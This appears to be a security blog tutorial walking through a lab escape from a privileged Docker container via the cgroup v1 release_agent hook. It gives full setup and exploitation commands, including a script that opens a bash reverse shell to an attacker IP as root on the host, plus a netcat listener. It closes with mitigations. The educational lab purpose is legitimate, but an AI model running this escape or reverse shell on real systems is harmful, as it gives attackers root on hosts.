August 9, 2026
Breaking Out of a Privileged Docker Container Using cgroups (release_agent Escape)
The One Sentence That Explains Everything

By Kalash Kundaliya
7 min read
The One Sentence That Explains Everything
A "privileged" container isn't really contained — it's just a root shell wearing a costume.
Normally, Docker containers are isolated: they can't see or touch the host's kernel-level controls. But the --privileged flag switches almost all of that isolation off, on purpose, to let containers do low-level system things (like running Docker-in-Docker, or working with hardware). The problem is, if a container is privileged, it can talk to cgroups — a Linux kernel feature for managing resources — and cgroups have a hook, called release_agent, that lets you tell the host kernel to run a script whenever it wants. That script does not run inside the container. It runs on the host, as root.
That's the entire bug. Let's build it, break it, and then fix it.
Lab Setup
This section builds the exact vulnerable environment: a Docker host running a container with more privileges than it should have.
Install Docker:
apt install docker.io -y
systemctl enable docker
systemctl start dockerapt install docker.io -y
systemctl enable docker
systemctl start docker
apt install docker.io -y— installs Docker, auto-confirming promptssystemctl enable docker— makes Docker start automatically on every bootsystemctl start docker— starts the Docker service right now
Create a working user account:
adduser practiceadduser practiceThis just creates a normal user, practice, to operate from.
Re-confirm Docker installation and enable it (alternate form):
sudo apt install -y docker.io
sudo systemctl enable --now dockersudo apt install -y docker.io
sudo systemctl enable --now dockerSame idea as above, just written slightly differently — enable --now both enables and starts the service in one command.
Add the user to the docker group:
usermod -aG docker practiceusermod -aG docker practiceusermod -aG docker practice— addspracticeto thedockergroup, allowing them to run Docker commands withoutsudo.
groups practicegroups practiceConfirms group membership.
Adjust the host's cgroup configuration:
sudo nano /etc/default/grubsudo nano /etc/default/grubInside this file, find the line starting with GRUB_CMDLINE_LINUX_DEFAULT and add systemd.unified_cgroup_hierarchy=0 to it.
In plain English: modern Linux systems default to cgroup v2, which closes off the exact escape technique we're about to use. Setting unified_cgroup_hierarchy=0 forces the host back onto the older cgroup v1 system — which is what makes this specific release_agent trick possible. (This step exists purely to build the lab; real-world vulnerable hosts are usually just older systems that were never upgraded to cgroup v2.)
sudo update-grub
sudo rebootsudo update-grub
sudo rebootupdate-grub— regenerates the boot configuration so our change takes effectreboot— restarts the machine to boot with cgroup v1 active
Launch a dangerously over-privileged container:
docker run -it --rm --privileged --security-opt apparmor:unconfined --cgroupns host ubuntu /bin/bashdocker run -it --rm --privileged --security-opt apparmor:unconfined --cgroupns host ubuntu /bin/bash
Breaking this down:
docker run -it— start a new container with an interactive terminal--rm— auto-delete the container when it exits--privileged— the critical flag. Disables almost all of Docker's normal security boundaries for this container--security-opt apparmor:unconfined— turns off AppArmor's additional confinement rules, removing one more layer of protection--cgroupns host— tells the container to share the host's cgroup namespace instead of getting its own isolated one — meaning what happens in this container's cgroups can actually affect the hostubuntu /bin/bash— use a plain Ubuntu image and drop into a bash shell
This single command is the actual misconfiguration. Everything from here on is just proving what it allows.
Exploitation
Now, from inside that privileged container, let's escape onto the real host.
Install a couple of helper tools inside the container:
apt update && apt install vim ncat -yapt update && apt install vim ncat -yvim gives us a text editor, and ncat (Netcat) will help us prove the escape works by opening a network connection back out.
Set up the cgroup workspace:
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_releasemkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_releaseStep by step:
mkdir /tmp/esc— create an empty folder to work inmount -t cgroup -o rdma cgroup /tmp/esc— mount a cgroup v1 controller (here, therdmacontroller — chosen mainly because it's usually unused and safe to grab) at/tmp/esc. This gives us direct access to cgroup control files.mkdir /tmp/esc/w— create a "child" cgroup folder inside it — like creating a sub-group to manageecho 1 > /tmp/esc/w/notify_on_release— turn onnotify_on_release, a setting that tells the kernel "when every process in this cgroup exits, run the configuredrelease_agentscript." This is the exact hook we're about to hijack.
Find the real host path and set the release agent:
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agentoverlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agentoverlay=...— Docker containers usually run on an "overlay" filesystem. This line reads/etc/mtab(mounted filesystems) and pulls out theupperdirpath — which is the real, host-side folder backing this container's writable layer. In other words: this is where, on the actual host disk, our container's files really live.pop="$overlay/simulate.sh"— build the full host-side path to a script we're about to createecho $pop > /tmp/esc/release_agent— write that path into the cgroup'srelease_agentfile. This tells the kernel: "next time this cgroup is cleaned up, run this script." Critically, the kernel runsrelease_agentscripts on the host, as root, no matter which container triggered it.
Write the payload script:
cd /
echo '#!/bin/bash' > simulate.sh
echo "echo king > /test_escape.txt" >> simulate.sh
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.45/9001 0>&1"' >> simulate.sh
chmod +x simulate.shcd /
echo '#!/bin/bash' > simulate.sh
echo "echo king > /test_escape.txt" >> simulate.sh
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.45/9001 0>&1"' >> simulate.sh
chmod +x simulate.sh
cd /— move to the container's root, which — thanks to the overlay path trick above — maps directly onto the host path we referenced- The
echolines build a small shell script (simulate.sh): echo king > /test_escape.txt— a harmless proof-of-concept line, just to visibly confirm the script ran on the host- The reverse shell line — connects back out to an attacker-controlled IP and port, spawning an interactive shell over that connection
chmod +x simulate.sh— make the script executable
Start a listener on the attacking machine:
nc -l -p 9001nc -l -p 9001On the Kali (attacker) machine, this opens a listener on port 9001, waiting for an incoming connection.
Trigger the escape:
echo "0" | tee /tmp/esc/w/cgroup.procsecho "0" | tee /tmp/esc/w/cgroup.procs
cgroup.procslists which processes belong to this cgroup- Writing
0to it effectively removes the current process from the cgroup, emptying it - The moment the cgroup becomes empty, the kernel checks
notify_on_release, sees it's set to1, and automatically executes whatever is listed inrelease_agent— oursimulate.shscript — on the host, as root
Result:
Back on the Kali listener, a shell connection lands — a fully interactive root shell running directly on the host operating system, not inside the container. The container's "sandbox" has been completely bypassed.
Exploitation Conclusion
Every step above works because of one specific chain of trust:
- The container was launched with
--privileged,--cgroupns host, and no AppArmor confinement - That let us mount and directly manipulate cgroup v1 control files
- Cgroup v1's
release_agentmechanism runs on the host kernel, not inside the container - We pointed that mechanism at a script we controlled, and triggered it ourselves
No exploit code, no memory corruption, no CVE required — just abusing a legitimate kernel feature that was reachable only because the container was configured with far more power than it needed.
Key Takeaways
--privilegedeffectively cancels container isolation. It should be treated as equivalent to "give this container root on the host."- cgroup v1's
release_agentis a host-level hook. Anything with write access to it can get code executed by the host kernel, as root. --cgroupns hostremoves a critical isolation boundary by letting the container see and manipulate the host's real cgroup tree.- This is a configuration problem, not a Docker bug. Docker is doing exactly what it was told to do — the danger comes from flags that shouldn't be combined without a very specific reason.
- Cgroup v2 closes this specific door. Staying on an old cgroup hierarchy for legacy compatibility carries real risk.
Mitigation Strategies
Strategy What It Does Avoid --privileged Removes the root cause entirely; use scoped --cap-add flags for the few capabilities actually needed. Use cgroup v2 Removes the shared, writable release_agent file that this exploit depends on. Keep AppArmor/SELinux enabled Adds a mandatory access control layer even when other protections are misconfigured. Don't share the host cgroup namespace Avoid --cgroupns host unless there's a specific, understood need. Run rootless container engines Ensures that even a successful escape doesn't hand over host root. Regular configuration audits Tools like docker-bench-security or trivy config flag dangerous flag combinations automatically. Restrict who can launch containers Limit docker run access (and especially privileged flags) to trusted administrators only.
Conclusion
This escape isn't about finding a flaw in Docker's code — it's about what happens when a container is handed capabilities it never needed. --privileged, disabled AppArmor, and a shared cgroup namespace together recreate almost the exact same trust boundary as running directly on the host. From there, an old but still-present kernel mechanism — release_agent — becomes a direct, reliable path from "inside a container" to "root on the host."
The fix isn't exotic either: don't grant privileges you don't need, keep cgroup v2 enabled, and treat any --privileged container as a piece of infrastructure that deserves the same scrutiny as giving someone root on the box directly — because, as this walkthrough shows, that's exactly what it is.
💼Behind the Hack
Kalash Kundaliya is a dedicated cybersecurity professional and educator passionate about demystifying penetration testing and ethical hacking. Through detailed, practical write-ups, he aims to help aspiring security professionals build critical hands-on skills in controlled, legal lab environments.
This guide is part of his comprehensive "VulnHub DC Series Walkthrough" collection, where complex attack chains are broken down into clear, step-by-step learning experiences.
🔗 Connect & Explore:
- Portfolio: https://kalashkundaliyacyber.github.io/Portfolio/
- LinkedIn: https://www.linkedin.com/in/kalash-kundaliya-7336791a7/
- GitHub: https://github.com/Kalashkundaliyacyber
Follow for more practical cybersecurity content, in-depth write-ups, and hands-on lab guides.